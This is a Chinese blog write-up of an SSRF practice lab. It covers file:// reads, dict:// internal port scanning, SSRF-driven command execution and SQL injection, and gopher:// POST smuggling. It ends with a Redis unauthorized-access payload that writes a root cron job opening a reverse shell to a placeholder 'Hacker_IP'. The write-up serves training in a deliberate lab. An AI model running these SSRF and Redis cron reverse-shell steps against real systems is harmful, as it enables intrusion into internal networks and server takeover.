SSRF综合靶场

常见的SSRF的一些利用。

参考:

手把手带你用 SSRF 打穿内网 | 国光 (sqlsec.com)

跟着国光师傅学习SSRF | 沉铝汤的破站 (chenlvtang.top)Duoduo-chino/ssrf_vul: 国光师傅的SSRF靶场docker环境 (github.com)

# 打靶记录

  • 打开网站,可能存在SSRF漏洞:

  • 尝试对百度的robots.txt进行读取:

  • 利用file协议尝试读取文件:

  • 发现目标内网为172.72.23.21,利用dict协议进行内网端口探测,由于是打靶端口就设置80、443、8080、6379,不然要扫很多无用端口,实战可以扫多一点:

  • 结果:
172.72.23.26 8080
172.72.23.21 80
172.72.23.22 80
172.72.23.23 80
172.72.23.24 80
172.72.23.25 80
172.72.23.27 6379

# SSRF命令执行(GET)

  • 利用http协议访问172.72.23.22:

  • 使用Burp进行目录扫描:

  • 扫出shell.phpphpinfo.php

  • 查看flag(由于是服务器请求,需要编码一层,如果是burp则需要二次编码,因为burp在POST中会自动解码一次)

# SSRF SQL注入

同样使用http协议进行访问,加入id参数进行注入即可,注意编码:

# SSRF命令执行(POST)

  • 利用http协议访问172.72.23.22:80

  • 由于采用的是POST方式的表单,所以不能再用http协议来攻击,采用gopher协议,t它可以传递TCP数据流。

注意几点:

  1. Content-Length需要正确设置,用Burp发一次,会自动计算
  2. 需要URL编码一次
  3. 删除Accept-Encoding,否则结果会被两次编码
  4. 格式:gopher://172.72.23.24:80/_<编码后POST数据包>

# SSRF Redis未授权利用

  • 使用dict协议来简单判断是否存在未授权,执行info命令:dict://ip:port/info

  • 证实存在未授权,写入定时任务反弹shell,其基本payload:
flushall #删除所有key,保证我们的优先级最高
config set dir /var/spool/cron/ #设置目录,还有/etc/crontab或者/etc/cron.d/也是可以存放定时任务的地方
config set dbfilename root #文件名与用户名一致
set chenlvtnag "\n* * * * * /bin/bash -i >& /dev/tcp/Hacker_IP/2333 0>&1\n" #这里之所以有两个\n是为了保证写入的定时任务格式正确
save #保存

  • 18
    点赞
  • 28
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值